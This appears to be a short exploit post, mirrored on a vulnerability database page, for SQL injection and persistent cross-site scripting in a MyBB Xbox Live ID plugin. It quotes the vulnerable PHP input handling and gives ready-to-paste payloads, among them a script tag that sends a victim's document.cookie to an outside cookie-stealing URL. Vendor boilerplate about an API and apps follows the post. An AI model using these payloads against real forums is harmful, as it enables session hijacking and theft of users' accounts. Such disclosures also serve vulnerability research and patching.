MyBB Xbox Live ID Post SQLi & Persistent XSS
This a really easy one to exploit, user input is not sanitized at all and so is injected into the database as the following lines:
if (isset($mybb->input['xli']))
{
$xli->user_update_data['xli'] = $mybb->input['xli'];
}
As you can see, no use of sanitation functions like - mysql_real_escape_string() or htmlentities()
To trigger the SQLi error simply enter the standard ' or for XSS enter your code e.g.
<script>alert(document.cookie);</script>
or
<script>window.open("http://webcite.com/cookiesteal.php?cookie"+document.cookie);</script>
Im not going to show step by step Post SQLi
# 0day.today [2018-01-05] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation